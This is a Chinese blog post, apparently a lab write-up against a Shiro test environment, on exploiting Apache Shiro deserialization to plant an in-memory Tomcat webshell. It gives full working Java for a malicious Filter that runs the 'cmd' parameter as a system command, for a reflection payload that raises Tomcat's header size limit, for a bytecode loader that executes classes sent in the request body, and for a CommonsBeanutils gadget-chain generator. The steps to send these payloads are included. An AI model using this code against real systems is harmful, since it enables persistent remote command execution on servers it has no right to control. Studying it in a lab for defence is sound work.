0x00 漏洞环境

漏洞环境采用木头师傅给出的

https://github.com/KpLi0rn/ShiroVulnEnv

0x01 漏洞利用

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;

public class TomcatMemShellInject extends AbstractTranslet implements Filter{

    private final String cmdParamName = "cmd";
    private final static String filterUrlPattern = "/*";
    private final static String filterName = "evilFilter";

    static {
        try {

            Class c = Class.forName("org.apache.catalina.core.StandardContext");

            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            ServletContext servletContext = standardContext.getServletContext();

            Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);
            if (filterConfigs.get(filterName) == null){
                java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
                    .getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
                Filter MemShell = new TomcatMemShellInject();

                javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
                    .addFilter(filterName, MemShell);
                filterRegistration.setInitParameter("encoding", "utf-8");
                filterRegistration.setAsyncSupported(false);
                filterRegistration
                    .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                                              new String[]{filterUrlPattern});

                if (stateField != null) {
                    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                }

                if (standardContext != null){
                    Method filterStartMethod = org.apache.catalina.core.StandardContext.class
                        .getMethod("filterStart");
                    filterStartMethod.setAccessible(true);
                    filterStartMethod.invoke(standardContext, null);

                    Class ccc = null;
                    try {
                        ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                    } catch (Throwable t){}
                    if (ccc == null) {
                        try {
                            ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                        } catch (Throwable t){}
                    }


                    Method m = c.getMethod("findFilterMaps");
                    Object[] filterMaps = (Object[]) m.invoke(standardContext);
                    Object[] tmpFilterMaps = new Object[filterMaps.length];
                    int index = 1;
                    for (int i = 0; i < filterMaps.length; i++) {
                        Object o = filterMaps[i];
                        m = ccc.getMethod("getFilterName");
                        String name = (String) m.invoke(o);
                        if (name.equalsIgnoreCase(filterName)) {
                            tmpFilterMaps[0] = o;
                        } else {
                            tmpFilterMaps[index++] = filterMaps[i];
                        }
                    }
                    for (int i = 0; i < filterMaps.length; i++) {
                        filterMaps[i] = tmpFilterMaps[i];
                    }

                }
            }

        } catch (Exception e){
            e.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        System.out.println("Do Filter ......");
        String cmd;
        if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {

    }
}

注意这里获取standardContext的方式与之前讲的利用applicationfilterchain中的 lastServicedRequest 和 lastServicedResponse的方式不同

WebappClassLoader

文章链接:https://www.cnblogs.com/aspirant/p/8991830.html

​ 由于 Tomcat 中有多个 WebApp 同时要确保之间相互隔离,所以 Tomcat 的类加载机制也不是传统的双亲委派机制,如果使用了双亲委派,那么如果存在两个 WebApp 一个是 CommonsCollections 3.2 的版本,另一个是 CommonsCollections 3.1 的版本,由于类加载机制是利用全限定类名来进行加载的,这两个而又是相同的,所以最终导致只会加载其一个版本,这显然不是 Tomcat 想要实现的效果

​ Tomcat 隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader,WebappClassLoader 会加载 /WebApp/WEB-INF/*中的Java类库,是各个Webapp私有的类加载器,加载路径中的class只对当前Webapp可见

说了那么多其实就是我们可以通过 WebappClassLoaderBase 来获取 Tomcat 上下文的联系

将上面的poc存入到cc11并AES加密后,可以看到生成的payload非常长,这已经超过了Tomcat默认的max header的大小

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6yqSssPb-1659585577499)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220803141944655.png)]

Header 长度限制绕过

所以我们需要想一些办法绕过Header的长度限制,现在比较常用的有两种方法:

  • 修改 max size 注入
  • 利用 CloassLoader 加载来绕过长度限制

修改 max size 注入

这里我们结合cc11进行注入

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

@SuppressWarnings("all")
public class TomcatHeaderSize extends AbstractTranslet {

    static {
        try {
            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
            java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
            java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
            java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
            java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
            contextField.setAccessible(true);
            headerSizeField.setAccessible(true);
            serviceField.setAccessible(true);
            requestField.setAccessible(true);
            getHandlerMethod.setAccessible(true);
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
            org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
            for (int i = 0; i < connectors.length; i++) {
                if (4 == connectors[i].getScheme().length()) {
                    org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                    if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
                        Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
                        for (int j = 0; j < classes.length; j++) {
                            // org.apache.coyote.AbstractProtocol$ConnectionHandler
                            if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
                                java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
                                java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                                globalField.setAccessible(true);
                                processorsField.setAccessible(true);
                                org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
                                java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                                for (int k = 0; k < list.size(); k++) {
                                    org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
                                    // 10000 为修改后的 headersize 
                                    headerSizeField.set(tempRequest.getInputBuffer(),10000);
                                }
                            }
                        }
                        // 10000 为修改后的 headersize 
                        ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
                    }
                }
            }
        } catch (Exception e) {
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

思路是改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这个值会影响新的Request的inputBuffer时的对于header的限制

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uIMBlVal-1659585577500)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220803144012334.png)]

首先生成TomcatHeaderSize的class文件然后利用CC11Template生成payload并用AESEncode进行加密

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Muh4siEj-1659585577501)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220803144147461.png)]

发送payload,此时已经修改了header的长度限制

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Tmcvzcq1-1659585577501)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220803144343189.png)]

然后发送动态注册filter的payload,也就是漏洞利用阶段最后生成的payload

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fL723uAt-1659585577501)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220803144514488.png)]

成功注入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LKDryhSy-1659585577501)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220803144533231.png)]

利用 CloassLoader 加载来绕过长度限制

payload长的一部分原因是动态注册filter代码的缘故,这里采用分离发送的方法。在remeberme中发送一个CloassLoader ,然后在body中发送动态注册filter的类,CloassLoader 来加载body中恶意类从而注入内存马

Shiro 回显与内存马实现 | MYZXCG

这里先实现一个命令回显,内存马注入我还没成功

TD类代码实现

该类中从Acceptor线程中获取request和response对象,获取请求Post body中的字节码base64解码后,加载调用该对象的equals方法(传入获取request和response对象),该类被转换为字节码存入到TemplatesImpl的_bytecodes

package deserialize;

import java.lang.reflect.Field;
import java.util.Iterator;

public class TD {
    static {
        Object jioEndPoint = GetAcceptorThread();
        if (jioEndPoint != null) {
            java.util.ArrayList processors = (java.util.ArrayList) getField(getField(getField(jioEndPoint, "handler"), "global"), "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();
                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)) {
                    continue;
                }
                org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1);
                org.apache.catalina.connector.Response response = request.getResponse();
                String code = request.getParameter("wangdefu");
                if (code != null) {
                    try {
                        byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(code);
                        java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                        defineClassMethod.setAccessible(true);
                        Class cc = (Class) defineClassMethod.invoke(TD.class.getClassLoader(), classBytes, 0, classBytes.length);
                        cc.newInstance().equals(new Object[]{request, response});
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }
        }
    }

    public static Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (Exception e) {
            }
            clazz = clazz.getSuperclass();
        }
        return null;
    }

    public static Object GetAcceptorThread() {
        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            if (thread == null || thread.getName().contains("exec")) {
                continue;
            }
            if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                Object target = getField(thread, "target");
                if (!(target instanceof Runnable)) {
                    try {
                        Object target2 = getField(thread, "this$0");
                        target = thread;
                    } catch (Exception e) {
                        continue;
                    }
                }
                Object jioEndPoint = getField(target, "this$0");
                if (jioEndPoint == null) {
                    try {
                        jioEndPoint = getField(target, "endpoint");
                    } catch (Exception e) {
                        continue;
                    }
                }
                return jioEndPoint;
            }
        }
        return null;
    }
}

cmd类

该类的字节码会被base64编码后,放在body中的wangdefu请求参数中,在TD类中获取该参数并加载

package deserialize;

import java.io.InputStream;
import java.util.Scanner;

public class cmd {
    public boolean equals(Object req) {
        Object[] context=(Object[]) req;
        org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request)context[0];
        org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1];
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                response.setContentType("text/html;charset=utf-8");
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\\\a");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().println("----------------------------------");
                response.getWriter().println(output);
                response.getWriter().println("----------------------------------");
                response.getWriter().flush();
                response.getWriter().close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return true;
    }
}

run类

通过CommonsBeanutils利用链加载TD类的字节码

获取cmd类的字节码,并base64编码输出。

package deserialize;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class run {
    public static void main(String[] args) {
        try {
            //获取字节码
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(header_bypass.run.class.getClass()));
            CtClass ctClass = pool.get("header_bypass.TD");
            ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = ctClass.toBytecode();

            CtClass ctClass2 = pool.get("header_bypass.cmd");
            byte[] classBytes2 = ctClass2.toBytecode();
            System.out.println("post请求参数wangdefu:\n" + Base64.getEncoder().encodeToString(classBytes2));

            TemplatesImpl templates = TemplatesImpl.class.newInstance();
            setField(templates, "_name", "name");
            setField(templates, "_bytecodes", new byte[][]{classBytes});
            setField(templates, "_tfactory", new TransformerFactoryImpl());
            setField(templates, "_class", null);

            BeanComparator beanComparator = new BeanComparator("outputProperties", String.CASE_INSENSITIVE_ORDER);

            PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);

            setField(priorityQueue, "queue", new Object[]{templates, templates});
            setField(priorityQueue, "size", 2);

            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser"));
            outputStream.writeObject(priorityQueue);
            outputStream.close();

//            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser"));
//            inputStream.readObject();
//            inputStream.close();
        } catch (Exception e) {
        }

    }

    public static void setField(Object object, String field, Object args) throws Exception {
        Field f0 = object.getClass().getDeclaredField(field);
        f0.setAccessible(true);
        f0.set(object, args);

    }
}

直接执行run代码生成body中的值

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pjC7UEVX-1659585577502)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220804105550172.png)]

此时也生成了CB链的payload(CommonsBeanutils.ser),再执行AESEncode生成加密payload

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ojM6kLbN-1659585577502)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220804105607308.png)]

burp发送,成功回显

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OQ8PdPTx-1659585577502)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220804105624099.png)]

0x02 总结

  • 本文内存马注入还是使用了cc11
  • 主要学习到的是两种绕过header头长度限制的方法

获取standcontext的姿势后面要好好学习一下,这里先放上链接

Tomcat 架构与Context分析 | MYZXCG

https://xz.aliyun.com/t/9914#toc-0

0x03 参考文章

https://www.yuque.com/tianxiadamutou/zcfd4v/bea7gi

Shiro 回显与内存马实现 | MYZXCG

https://github.com/feihong-cs/Java-Rce-Echo/tree/master/Tomcat

Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐